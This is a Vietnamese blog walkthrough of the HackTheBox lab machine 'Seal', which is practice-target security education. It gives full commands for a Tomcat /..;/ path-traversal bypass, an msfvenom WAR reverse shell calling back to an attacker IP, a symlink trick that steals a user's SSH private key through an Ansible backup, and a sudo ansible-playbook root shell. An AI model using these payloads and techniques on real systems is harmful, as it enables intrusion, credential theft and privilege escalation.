[Machines] Seal – HackTheBox Writeup

Seal là một machine mức độ Trung bình trên nền tảng HackTheBox. Người chơi phải truy cập vào máy chủ và leo quyền lên root để có thể hoàn thành bài tập này. Trong Seal, chúng ta sẽ lợi dụng lỗ hổng Path Traversal trong panel quản lý của server Apache Tomcat, từ đó truy cập vào những nơi không được phép và upload file tùy ý.

Truy cập vào server

Khởi đầu với việc quét các cổng đang mở:

nmap -A -T4 -p- 10.10.10.250

Chúng ta có thể thấy máy đang mở cổng 22 SSH, 443 HTTPS và cổng 8080 HTTP. Server đang host trang web chính ở cổng 443 và một form login vào GitBucket ở cổng 8080. Thêm tên miền seal.htb vào file hosts (/etc/hosts) và truy cập đến những cổng này:

Cổng 443 HTTPS
Form đăng nhập

Tại form đăng nhập GitBucket, ta có thể thấy một tùy chọn đăng ký tài khoản mới:

Tạo một tài khoản mới và ta đã có thể đăng nhập vào Gitbucket:

Trong này ta có thể tìm được mã nguồn frontend lẫn backend của trang web seal_market được host tại cổng 443:

Trang web sử dụng cả Nginx Apache Tomcat làm server, trong đó ở mục Issues, luis đã nói Nginx được sử dụng làm Load Balancer:

Quay trở lại với mã nguồn trang web. Sau một hồi mò mẫm bên trong đống mã nguồn, mình tìm thấy một thứ rất hay bên trong lịch sử commit:

Một dòng chứa thông tin đăng nhập đã bị xóa đi trong file tomcat-users.xml. Theo như tài liệu trên mạng, chúng ta biết rằng file tomcat-users.xml được sử dụng để lưu thông tin đăng nhập vào ứng dụng Tomcat Manager, một công cụ để quản lý server Tomcat. Đường dẫn mặc định dẫn đến ứng dụng Tomcat Manager/manager/html :

Tuy nhiên khi đến đây, server Nginx lại trả về mã 403 cấm truy cập. Ngoài /manager/html, ứng dụng Tomcat Manager còn nhiều tính năng khác như /text/status. Truy cập vào /manager/status, server yêu cầu username mật khẩu:

Sử dụng thông tin đăng nhập đã tìm được ở phía trên, ta truy cập được vào ứng dụng Tomcat Manager:

Trong này chứa các thông tin phần cứng và phần mềm của server. Tuy nhiên kể cả đã đăng nhập rồi, chúng ta vẫn không truy cập được /manager/html. Google một lúc mình tìm thấy một bài viết ngắn về lỗ hổng Path Traversal trong server Apache Tomcat qua reverse proxy.

Website seal.htb sử dụng server Nginx làm reverse proxy, lưu lượng từ trang web sẽ đi qua đây và được chuyển tiếp đến server Apache Tomcat. Trong mã config của Nginx trên GitBucket, lưu lượng đến /manage/html, /host/manager/admin/dashboard sẽ được kiểm tra trước khi được chuyển tiếp đến server Tomcat:

Biến $ssl_client_verify phải có giá trị SUCCESS thì lưu lượng mới được chuyển tiếp đến Tomcat (nói cách khác là ta có thể truy cập được vào đó). Bằng cách nào đó mà biến này luôn có giá trị khác SUCCESS, cho nên chúng ta luôn nhận được mã 403 khi truy cập vào /manager/html, /host-manager/html/admin/dashboard. Mình không biết làm thể nào để sửa biến này thành SUCCESS cả ;-; Mình không giỏi về mạng và config mấy thứ này.

Theo như bài viết mình đề cập lúc nãy, khi Apache Tomcat được sử dụng cùng với một reverse proxy như Nginx, việc bình thường hóa đường dẫn sẽ xảy ra không đồng đều. Cụ thể, khi đường dẫn chứa /..;/, Apache Tomcat sẽ phát hiện và đưa về /../, trong khi Nginx khi gặp chuỗi này sẽ không làm gì mà chuyển tiếp y nguyên về Tomcat. Bằng cách này người tấn công sẽ truy cập được những nơi không được phép.

Như vậy, mặc dù đường dẫn đến /manager/html đã bị chặn lại tại server Nginx, khi truy cập vào /manager/status/..;/html, Nginx sẽ không chặn lại, sau đó đến server Tomcat sẽ được nó bình thường hóa thành /manager/status/../html, kết quả là ta đã truy cập được vào /manager/html:

Nice. Trong này có mục upload file WAR để server triển khai (file WAR là một file đóng gói các cấu trúc trang web và Tomcat có nhiệm vụ giải nén ra và triển khai thành một thư mục mới). Điều đặc biệt là chúng ta có thể lợi dụng tính năng này để tải lên một file giúp ta có một reverse shell.

Để tạo một reverse shell payload dưới dang WAR, ta sẽ sử dụng Metaspoit framework. Ta có thể kiếm dòng lệnh tạo payload từ PayloadAllTheThings:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.18 LPORT=9999 -f war > reverse.war

Sau đó ta sẽ tải lên payload. Lưu ý ta cần sử dụng BurpSuite để chỉnh lại request để thêm chuỗi /..;/:

Như vậy là ta đã upload thành công:

Giờ để lấy shell, ta cần mở cổng 9999:

nc -lvnp 9999

Sau đó thì tao request đến /reverse là được rồi:

Chúng ta đã có shell tương tác với server với user tomcat. User flag sẽ nằm trong thư mục /home/luis:

Rất tiếc, user flag chỉ có thể đọc bởi user luis. Ta cần làm cách nào đấy chuyển sang user luis. Kiểm tra các process đang chạy bằng lệnh ps -aux, có một process chạy bởi root trông rất lạ:

/bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml

Dòng lệnh đầu tiên nghỉ 30 giây, sau đó chạy binary ansible-playbook dưới quyền user luis, cùng với đó truyền nội dung file /opt/backups/playbook/run.yml vào. Ansible Playbook là một phần mềm giúp tự động hóa các hành động trên máy:

File run.yml có nội dung như sau:

Mỗi một khoảng thời gian, nó sẽ tự động copy toàn bộ file trong /var/lib/tomcat9/webapps/ROOT/admin/dashboard đến /opt/backups/files (copy_links=yes cho phép copy cả những folder symlink), sau đó nén tất cả thành file gz có đánh dấu thời gian đặt ở /opt/backups/archives, cuối cùng xóa sạch folder /opt/backups/files.

Thứ sus nhất ở đây là copy_links=yes, nó cho phép copy cả nội dung folder symlink. (Folder symlink có thể hiểu như một shortcuts giống trên Windows). Một điều đáng chú ý ở đây là chúng ta có quyền write vào folder /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads:

Vậy:

  1. Mục tiêu của ta là đăng nhập vào luis
  2. Để đăng nhập ta cần khóa riêng tư của luis hoặc mật khẩu (phương án khóa riêng tư có vẻ khả quan hơn)
  3. Khóa riêng tư và công khai của luis nằm trong thư mục mặc định là /home/luis/.ssh

Phương án:

  1. Chúng ta có quyền write vào thư mục /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
  2. Tạo một folder symlink bên trong …./admin/dashboard/uploads, rồi chỉ nó tới folder /home/luis/.ssh (các bạn cứ tưởng tượng folder symlink như một cái portal ấy .-.)
  3. Khi ansible-playbook được chạy với quyền luis, nó copy toàn bộ nội dung bên trong …./admin/dashboard (bao gồm cả toàn bộ nội dung folder /home/luis/.ssh do trong …./admin/dashboard/uploads có folder symlink chỉ đến) vào folder /opt/backups/files (như đã đề cập phía trên)
  4. Nội dung bên trong /opt/backup/files (bao gồm cả /home/luis/.ssh) sẽ được nén thành 1 file gz, đánh dấu tên bằng thời gian, rồi lưu tại /opt/backups/archives (như đã đề cập phía trên)
  5. Lấy file gz đó, giải nén ra là ta đã có khóa riêng tư của luis.

Triển khai thôi! Chúng ta tạo folder symlink bên trong …./admin/dashboard/uploads bằng lệnh ln:

ln -s /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads

Chúng ta có thể kiểm tra folder vừa tạo bên trong …./admin/dashboard/uploads:

Giờ chúng ta chỉ cần vào folder /opt/backups/archives, đợi một lúc để root chạy lệnh mà chúng ta tìm thấy bằng ps -aux, rồi lấy file gz mới nhất thôi:

Để lấy file này nhanh nhất, ta mở một http.server tại đây, rồi request đến để lấy file:

python3 -m http.server 7899

Sau đó lấy bằng wget:

wget http://10.10.10.250:7899/backup-2021-10-04-13:21:32.gz

Done. Giải nén ra là ta đã có khóa riêng tư để đăng nhập:

chmod 600 id_rsa
ssh -i id_rsa luis@10.10.10.250

Vậy là ta đã truy cập vào luis. Lấy user flag thôi:

Leo quyền lên root

Kiểm tra các lệnh được chạy với sudo mà không cần mật khẩu:

sudo -l

Chúng ta có thể chạy ansible-playbook với sudo, nên việc leo quyền lên root khá dễ dàng với danh sách GTFOBins, một danh sách các binary Unix được lựa chọn để vượt qua các rào cản an ninh trong những hệ thống bị cấu hình lỗi.

Chúng ta sẽ tạo task cho ansible-playbook để nó sinh ra một shell và kết hợp với sudo, chúng ta có một root shell:

TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

Khá nhẹ nhành để leo quyền lên root. Tại đây ta có thể lấy root flag được rồi:

Trả lời

Please log in using one of these methods to post your comment:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s